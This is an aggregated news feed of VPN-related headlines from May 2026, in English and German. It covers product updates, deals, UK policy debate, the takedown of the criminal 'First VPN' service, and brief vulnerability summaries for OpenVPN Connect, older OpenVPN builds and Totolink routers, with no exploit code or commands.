A critical privilege escalation vulnerability has been discovered and patched in OpenVPN Connect for macOS, enabling local attackers to execute arbitrary commands with full root-level privileges a severe risk for enterprise endpoints relying on OpenVPN for remote access security. Tracked as CVE-2026-9560, the flaw carries a CVSS 4.0 base score of 9.4 (CRITICAL) underscoring the severity of […] The post Critical OpenVPN Connect macOS Flaw Enables Command Execution appeared first on Cyber Security News.

Let Avast SecureLine VPN be the productive one

Fri, 29 May 2026 02:44:26 +0200

Author: Avast - Bewertung: 0x - Views:0 Shoutout to Avast SecureLine VPN for carrying the team 🫶🏻

CVE-2014-5455 | OpenVPN 2.1.28.0 Crafted Program program.exe unquoted search path (ID 127439 / EDB-34037)

Fri, 29 May 2026 00:37:18 +0200

A vulnerability, which was classified as problematic, was found in OpenVPN 2.1.28.0. Affected by this vulnerability is an unknown functionality of the file program.exe of the component Crafted Program. Such manipulation leads to unquoted search path. This vulnerability is referenced as CVE-2014-5455. The attack can only be performed from a local environment. Furthermore, an exploit is available.

CVE-2014-5455 | OpenVPN 2.3.8 PrivateTunnel unquoted search path (ZSL-2014-5192 / EDB-34037)

Thu, 28 May 2026 20:39:25 +0200

A vulnerability categorized as problematic has been discovered in OpenVPN 2.3.8. This impacts an unknown function of the component PrivateTunnel Handler. Such manipulation leads to unquoted search path. This vulnerability is listed as CVE-2014-5455. The attack must be carried out locally. In addition, an exploit is available.

Critical OpenVPN Connect for macOS Vulnerability Let Attackers Execute Arbitrary Commands

Thu, 28 May 2026 18:02:58 +0200

A critical privilege escalation vulnerability has been discovered in OpenVPN Connect for macOS, enabling local attackers to execute arbitrary commands with elevated privileges through the application’s background service component. Tracked as CVE-2026-9560, the flaw affects all versions from 3.5.1 through… Read more → The post Critical OpenVPN Connect for macOS Vulnerability Let Attackers Execute Arbitrary Commands appeared first on IT Security News.

ExpressVPN im Test: Für wen sich der Dienst zum Premium-Preis lohnt

Thu, 28 May 2026 17:15:00 +0200

ExpressVPN zählt dank hoher Sicherheitsstandards, eines eigenen Protokolls für Top-Geschwindigkeit und weltweiter Serverabdeckung zu den Premium-Anbietern auf dem VPN-Markt. Zu Recht? Dieser Artikel wurde einsortiert unter Download, VPN, ExpressVPN.

Critical OpenVPN Connect for macOS Vulnerability Let Attackers Execute Arbitrary Commands

Thu, 28 May 2026 17:39:36 +0200

A critical privilege escalation vulnerability has been discovered in OpenVPN Connect for macOS, enabling local attackers to execute arbitrary commands with elevated privileges through the application’s background service component. Tracked as CVE-2026-9560, the flaw affects all versions from 3.5.1 through 3.8.1 and has been assigned a CVSS 4.0 base score of 9.4 (Critical). The security […] The post Critical OpenVPN Connect for macOS Vulnerability Let Attackers Execute Arbitrary Commands appeared first on Cyber Security News.

Polymarket blocks VPNs and tightens identity verification as over 30 countries ban the betting platform

Thu, 28 May 2026 17:35:27 +0200

Polymarket is taking a harder stance against VPN use and pushing for identity verification, marking a shift away from permissionless trading as more countries restrict the platform.

NordVPN isn't just a VPN anymore, but a full security suite - here's what you get now

Thu, 28 May 2026 14:39:42 +0200

NordVPN argues that antivirus now means far more than it used to, so creating an app that combines VPN services with modern threat protection is the right path.

I set up a router-based VPN for my TV, and it's the cheap security fix it desperately needed

Thu, 28 May 2026 14:00:39 +0200

Installing a VPN on your smart TV blocks hackers from accessing your network and stealing your data. Here's how I set up mine.

VPNs are not a 'threat' — industry hopes for an evidence-based outcome to UK online safety consultation

Thu, 28 May 2026 10:48:43 +0200

As May 26 marked the deadline for the UK's online safety consultation, we will soon know what the fate for VPN users in the country will look like.

Cybercriminals are using GTA 6 hype to spread malware ahead of launch, NordVPN warns

Thu, 28 May 2026 10:43:26 +0200

NordVPN warns GTA 6 fans about fake beta keys, phishing pages, Android adware, and malware disguised as early access downloads.

NordVPN's New App Acts as an All-in-One Digital Privacy and Security Hub

Wed, 27 May 2026 23:02:24 +0200

A VPN is only one layer of privacy defense. Antivirus protection adds security from phishing, scams and account takeovers, too.

'Iranians want to reconnect with the outside world' — Proton VPN sees 6,000% signup increase as Iran's internet is partially restored

Wed, 27 May 2026 16:47:03 +0200

Iranian internet users have rushed to secure tools as the country's internet partially got back online following a three-month blackout. Here's all we know.

VPN deal of the week: get Amazon gift cards worth up to $30 with 2-year Surfshark plans — exclusively for TechRadar readers

Wed, 27 May 2026 16:14:01 +0200

Protect your data & get a free Amazon gift card.

[NEU] [hoch] OpenVPN Connect (MacOS): Schwachstelle ermöglicht Privilegieneskalation

Wed, 27 May 2026 11:05:32 +0200

Ein lokaler Angreifer kann eine Schwachstelle in OpenVPN Connect (MacOS) ausnutzen, um seine Privilegien zu erhöhen.

Update für IPFire: Schnelleres VPN dank OpenVPN 2.7

Wed, 27 May 2026 10:01:00 +0200

Mit OpenVPN 2.7 und Data Channel Offloading steigt der VPN-Durchsatz in IPFire auf bis zu 10 GBit/s. Dazu schließt das Update kritische Kernel-Lücken.

Update für IPFire: Schnelleres VPN dank OpenVPN 2.7

Wed, 27 May 2026 10:01:00 +0200

Mit OpenVPN 2.7 und Data Channel Offloading steigt der VPN-Durchsatz in IPFire auf bis zu 10 GBit/s. Dazu schließt das Update kritische Kernel-Lücken.

'Protection needs to evolve' — NordVPN rebrands as an all-in-one VPN app for next-generation protection

Wed, 27 May 2026 09:00:00 +0200

The digital security giant is bringing next-gen antivirus, dark web monitoring, and its industry-leading VPN into a single, unified experience.

NordVPN warns of fake GTA 6 pre-order scams spreading malware and phishing attacks

Tue, 26 May 2026 22:32:31 +0200

Cybercriminals are exploiting excitement around Grand Theft Auto VI to spread malware, phishing pages, and fake pre-order scams ahead of the game’s official release, according to new research from NordVPN. Researchers at NordVPN’s Threat Protection team said they identified dozens of malicious websites impersonating Rockstar Games, gaming storefronts, and piracy platforms in an effort to … The post NordVPN warns of fake GTA 6 pre-order scams spreading malware and phishing attacks appeared first on CyberInsider.

CVE-2026-9560 | OpenVPN Connect up to 3.8.1 Background Service os command injection (EUVD-2026-31941)

Tue, 26 May 2026 21:59:06 +0200

A vulnerability classified as critical was found in OpenVPN Connect up to 3.8.1. This impacts an unknown function of the component Background Service. Such manipulation leads to os command injection. This vulnerability is uniquely identified as CVE-2026-9560. Local access is required to approach this attack. No exploit exists.

Absolute Anonymity: This VPN allows cash payments and costs the same every month, forever

Tue, 26 May 2026 18:38:57 +0200

Simple, secure connections don't get better

The UK's online safety consultation ends today — here's what it could mean for VPNs

Tue, 26 May 2026 17:56:11 +0200

Findings from the "Growing up in the online world" national consultation will determine whether VPN services will be age-gated in the UK.

NordVPN wins crucial legal battle in Spain over La Liga piracy fines

Tue, 26 May 2026 16:43:21 +0200

A Spanish court has sided with NordVPN, rejecting fines pushed by soccer league La Liga. Here is what the ruling means for digital privacy and internet freedom.

Behörden schalten kriminell genutzten VPN-Dienst ab

Tue, 26 May 2026 09:45:58 +0200

Ermittler haben zum Schlag gegen die Internetkriminalität ausgeholt und den Dienst First VPN vom Netz genommen. In einer konzertierten Aktion des niederländischen Team High Tech Crime und französischer Behörden wurde die Infrastruktur bereits am 19. und 20. Mai zerschlagen. Der...Zum Beitrag: Behörden schalten kriminell genutzten VPN-Dienst ab Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads Auf dem Laufenden bleiben? Fügt uns doch bei Google als bevorzugte Quelle hinzu!

ChromaDB-Fehlkonfiguration, GitHub-Extension-Angriff und VPN-Zerschlagung: Security-Update

Tue, 26 May 2026 05:28:59 +0200

LONDON (IT BOLTWISE) – Mehrere Ereignisse aus der Cybersicherheit häufen sich: Eine macOS-Infostealer-Kampagne umgeht Sicherheitswarnungen, Tausende GitHub-Repositories geraten über eine kompromittierte VS-Code-Erweiterung unter Risiko, und Ermittler haben im Rahmen einer internationalen Aktion eine weit verbreitete VPN-Infrastruktur abgeschaltet. Zusätzlich wurde in ChromaDB, einer zentralen Datenbank für KI-Anwendungen, eine kritisch bewertete Schwachstelle bekannt, die Code-Ausführung vor der […] ... den vollständigen Artikel »ChromaDB-Fehlkonfiguration, GitHub-Extension-Angriff und VPN-Zerschlagung: Security-Update« lesen Dieser Beitrag ChromaDB-Fehlkonfiguration, GitHub-Extension-Angriff und VPN-Zerschlagung: Security-Update erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Operation Saffron zerschlägt First VPN: Anonymisierungsnetz für Ransomware offline

Tue, 26 May 2026 02:46:36 +0200

LONDON (IT BOLTWISE) – In der Nacht auf den 20. Mai 2026 hat die internationale Polizei- und Justizkooperation „Operation Saffron“ das kriminell betriebene VPN „First VPN“ zerschlagen. Laut Berichten wurden 33 Server beschlagnahmt, Domains sowie Tor-Onion-Domains abgeschaltet und der Administrator festgenommen. Besonders kritisch: Ermittler konnten Nutzerdaten und Verkehrslogs erlangen, wodurch eine zentrale Anonymisierungsschicht für mindestens […] ... den vollständigen Artikel »Operation Saffron zerschlägt First VPN: Anonymisierungsnetz für Ransomware offline« lesen Dieser Beitrag Operation Saffron zerschlägt First VPN: Anonymisierungsnetz für Ransomware offline erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

CVE-2018-25368 | NordVPN up to 6.14.31 Password memory allocation (Exploit 45304 / EUVD-2018-21891)

Mon, 25 May 2026 19:51:16 +0200

A vulnerability has been found in NordVPN up to 6.14.31 and classified as problematic. This issue affects some unknown processing. The manipulation of the argument Password leads to uncontrolled memory allocation. This vulnerability is documented as CVE-2018-25368. The attack can be initiated remotely. Additionally, an exploit exists.

CVE-2026-9456 | Totolink A8000RU 7.1cu.643_b20200521 Web Management Interface /cgi-bin/cstecgi.cgi setOpenVpnCfg enabled os command injection (EUVD-2026-31674)

Mon, 25 May 2026 16:19:04 +0200

A vulnerability categorized as critical has been discovered in Totolink A8000RU 7.1cu.643_b20200521. Impacted is the function setOpenVpnCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. The manipulation of the argument enabled results in os command injection. This vulnerability is identified as CVE-2026-9456. The attack can be executed remotely. Additionally, an exploit exists.

CVE-2026-9455 | Totolink A8000RU 7.1cu.643_b20200521 Web Management Interface /cgi-bin/cstecgi.cgi UploadOpenVpnCert FileName os command injection (EUVD-2026-31673)

Mon, 25 May 2026 16:19:05 +0200

A vulnerability was found in Totolink A8000RU 7.1cu.643_b20200521. It has been rated as critical. This issue affects the function UploadOpenVpnCert of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. The manipulation of the argument FileName leads to os command injection. This vulnerability is referenced as CVE-2026-9455. Remote exploitation of the attack is possible. Furthermore, an exploit is available.

CVE-2026-9454 | Totolink A8000RU 7.1cu.643_b20200521 Web Management Interface /cgi-bin/cstecgi.cgi setOpenVpnCertGenerationCfg servername os command injection (EUVD-2026-31670)

Mon, 25 May 2026 16:19:05 +0200

A vulnerability was found in Totolink A8000RU 7.1cu.643_b20200521. It has been declared as critical. This vulnerability affects the function setOpenVpnCertGenerationCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Executing a manipulation of the argument servername can lead to os command injection. The identification of this vulnerability is CVE-2026-9454. The attack may be launched remotely. Furthermore, there is an exploit available.

From split-tunneling to post-quantum crypto: NymVPN just had its biggest two-month update yet, and a fresh redesign is already on the way

Mon, 25 May 2026 08:00:00 +0200

NymVPN rolled out split-tunneling, ad blocking, post-quantum encryption, and a Pay as You Go tier across March and April 2026. Here's the full recap and what's next.

3 Monate geschenkt: NordVPN kombiniert VPN und Antivirus jetzt mit bis zu 76 Prozent Rabatt

Sun, 24 May 2026 19:00:00 +0200

VPNs können inzwischen deutlich mehr als nur den Streaming-Katalog erweitern. NordVPN startet jetzt seine Next-Gen-Antivirus-Kampagne mit bis zu 76 Prozent Rabatt und 3 Gratis-Monaten. Dieser Artikel wurde einsortiert unter Schnäppchen, VPN-Dienste im Vergleich: Mit unserem Testsieger sicher und anonym durchs Internet, NordVPN.

First VPN zerschlagen: Exit-Nodes für 25 Ransomware-Gruppen

Sun, 24 May 2026 05:35:10 +0200

PARIS / LONDON (IT BOLTWISE) – Bei einer koordinierten internationalen Operation haben Behörden in Europa und Nordamerika das kriminelle VPN-Angebot „First VPN“ zerschlagen. Die Infrastruktur soll von mindestens 25 Ransomware-Gruppen für Aufklärung, Einbruch und Datenabfluss genutzt worden sein. Laut Europol und Eurojust waren an dem Betrieb mehrere Länder beteiligt, während parallel Domains, Server und Kommunikationskanäle […] ... den vollständigen Artikel »First VPN zerschlagen: Exit-Nodes für 25 Ransomware-Gruppen« lesen Dieser Beitrag First VPN zerschlagen: Exit-Nodes für 25 Ransomware-Gruppen erschien als erstes auf IT BOLTWISE x Artificial Intelligence.